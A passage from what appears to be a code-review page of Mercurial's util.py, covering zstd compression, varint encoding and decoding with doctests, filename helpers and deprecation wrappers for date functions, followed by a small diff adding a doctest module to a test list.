4095 # while providing no worse compression. It strikes a good balance
4096 # between speed and compression.
4097 level = opts.get('level', 3)
4098
4099 zstd = self._module
4100 z = zstd.ZstdCompressor(level=level).compressobj()
4101 for chunk in it:
4102 data = z.compress(chunk)
4103 if data:
4104 yield data
4105
4106 yield z.flush()
4107
4108 def decompressorreader(self, fh):
4109 zstd = self._module
4110 dctx = zstd.ZstdDecompressor()
4111 return chunkbuffer(dctx.read_from(fh))
4112
4113 class zstdrevlogcompressor(object):
4114 def __init__(self, zstd, level=3):
4115 # Writing the content size adds a few bytes to the output. However,
4116 # it allows decompression to be more optimal since we can
4117 # pre-allocate a buffer to hold the result.
4118 self._cctx = zstd.ZstdCompressor(level=level,
4119 write_content_size=True)
4120 self._dctx = zstd.ZstdDecompressor()
4121 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
4122 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
4123
4124 def compress(self, data):
4125 insize = len(data)
4126 # Caller handles empty input case.
4127 assert insize > 0
4128
4129 if insize < 50:
4130 return None
4131
4132 elif insize <= 1000000:
4133 compressed = self._cctx.compress(data)
4134 if len(compressed) < insize:
4135 return compressed
4136 return None
4137 else:
4138 z = self._cctx.compressobj()
4139 chunks = []
4140 pos = 0
4141 while pos < insize:
4142 pos2 = pos + self._compinsize
4143 chunk = z.compress(data[pos:pos2])
4144 if chunk:
4145 chunks.append(chunk)
4146 pos = pos2
4147 chunks.append(z.flush())
4148
4149 if sum(map(len, chunks)) < insize:
4150 return ''.join(chunks)
4151 return None
4152
4153 def decompress(self, data):
4154 insize = len(data)
4155
4156 try:
4157 # This was measured to be faster than other streaming
4158 # decompressors.
4159 dobj = self._dctx.decompressobj()
4160 chunks = []
4161 pos = 0
4162 while pos < insize:
4163 pos2 = pos + self._decompinsize
4164 chunk = dobj.decompress(data[pos:pos2])
4165 if chunk:
4166 chunks.append(chunk)
4167 pos = pos2
4168 # Frame should be exhausted, so no finish() API.
4169
4170 return ''.join(chunks)
4171 except Exception as e:
4172 raise error.RevlogError(_('revlog decompress error: %s') %
4173 forcebytestr(e))
4174
4175 def revlogcompressor(self, opts=None):
4176 opts = opts or {}
4177 return self.zstdrevlogcompressor(self._module,
4178 level=opts.get('level', 3))
4179
4180 compengines.register(_zstdengine())
4181
4182 def bundlecompressiontopics():
4183 """Obtains a list of available bundle compressions for use in help."""
4184 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
4185 items = {}
4186
4187 # We need to format the docstring. So use a dummy object/type to hold it
4188 # rather than mutating the original.
4189 class docobject(object):
4190 pass
4191
4192 for name in compengines:
4193 engine = compengines[name]
4194
4195 if not engine.available():
4196 continue
4197
4198 bt = engine.bundletype()
4199 if not bt or not bt[0]:
4200 continue
4201
4202 doc = pycompat.sysstr('``%s``\n %s') % (
4203 bt[0], engine.bundletype.__doc__)
4204
4205 value = docobject()
4206 value.__doc__ = doc
4207 value._origdoc = engine.bundletype.__doc__
4208 value._origfunc = engine.bundletype
4209
4210 items[bt[0]] = value
4211
4212 return items
4213
4214 i18nfunctions = bundlecompressiontopics().values()
4215
4216 # convenient shortcut
4217 dst = debugstacktrace
4218
4219 def safename(f, tag, ctx, others=None):
4220 """
4221 Generate a name that it is safe to rename f to in the given context.
4222
4223 f: filename to rename
4224 tag: a string tag that will be included in the new name
4225 ctx: a context, in which the new name must not exist
4226 others: a set of other filenames that the new name must not be in
4227
4228 Returns a file name of the form oldname~tag[~number] which does not exist
4229 in the provided context and is not in the set of other names.
4230 """
4231 if others is None:
4232 others = set()
4233
4234 fn = '%s~%s' % (f, tag)
4235 if fn not in ctx and fn not in others:
4236 return fn
4237 for n in itertools.count(1):
4238 fn = '%s~%s~%s' % (f, tag, n)
4239 if fn not in ctx and fn not in others:
4240 return fn
4241
4242 def readexactly(stream, n):
4243 '''read n bytes from stream.read and abort if less was available'''
4244 s = stream.read(n)
4245 if len(s) < n:
4246 raise error.Abort(_("stream ended unexpectedly"
4247 " (got %d bytes, expected %d)")
4248 % (len(s), n))
4249 return s
4250
4251 def uvarintencode(value):
4252 """Encode an unsigned integer value to a varint.
4253
4254 A varint is a variable length integer of 1 or more bytes. Each byte
4255 except the last has the most significant bit set. The lower 7 bits of
4256 each byte store the 2's complement representation, least significant group
4257 first.
4258
4259 >>> uvarintencode(0)
4260 '\\x00'
4261 >>> uvarintencode(1)
4262 '\\x01'
4263 >>> uvarintencode(127)
4264 '\\x7f'
4265 >>> uvarintencode(1337)
4266 '\\xb9\\n'
4267 >>> uvarintencode(65536)
4268 '\\x80\\x80\\x04'
4269 >>> uvarintencode(-1)
4270 Traceback (most recent call last):
4271 ...
4272 ProgrammingError: negative value for uvarint: -1
4273 """
4274 if value < 0:
4275 raise error.ProgrammingError('negative value for uvarint: %d'
4276 % value)
4277 bits = value & 0x7f
4278 value >>= 7
4279 bytes = []
4280 while value:
4281 bytes.append(pycompat.bytechr(0x80 | bits))
4282 bits = value & 0x7f
4283 value >>= 7
4284 bytes.append(pycompat.bytechr(bits))
4285
4286 return ''.join(bytes)
4287
4288 def uvarintdecodestream(fh):
4289 """Decode an unsigned variable length integer from a stream.
4290
4291 The passed argument is anything that has a ``.read(N)`` method.
4292
4293 >>> try:
4294 ... from StringIO import StringIO as BytesIO
4295 ... except ImportError:
4296 ... from io import BytesIO
4297 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4298 0
4299 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4300 1
4301 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4302 127
4303 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4304 1337
4305 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4306 65536
4307 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4308 Traceback (most recent call last):
4309 ...
4310 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4311 """
4312 result = 0
4313 shift = 0
4314 while True:
4315 byte = ord(readexactly(fh, 1))
4316 result |= ((byte & 0x7f) << shift)
4317 if not (byte & 0x80):
4318 return result
4319 shift += 7
4320
4321 ###
4322 # Deprecation warnings for util.py splitting
4323 ###
4324
4325 def _deprecatedfunc(func, version):
4326 def wrapped(*args, **kwargs):
4327 fn = pycompat.sysbytes(func.__name__)
4328 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
4329 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
4330 nouideprecwarn(msg, version)
4331 return func(*args, **kwargs)
4332 wrapped.__name__ = func.__name__
4333 return wrapped
4334
4335 defaultdateformats = dateutil.defaultdateformats
4336 extendeddateformats = dateutil.extendeddateformats
4337 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
4338 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
4339 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
4340 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
4341 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4342 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4343 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
@@ -70,6 +70,7 b" testmod('mercurial.ui')"
70 testmod('mercurial.url')
70 testmod('mercurial.url')
71 testmod('mercurial.util')
71 testmod('mercurial.util')
72 testmod('mercurial.util', testtarget='platform')
72 testmod('mercurial.util', testtarget='platform')
73 testmod('mercurial.utils.stringutil')
73 testmod('hgext.convert.convcmd')
74 testmod('hgext.convert.convcmd')
74 testmod('hgext.convert.cvsps')
75 testmod('hgext.convert.cvsps')
75 testmod('hgext.convert.filemap')
76 testmod('hgext.convert.filemap')
General Comments 0
You need to be logged in to leave comments. Login now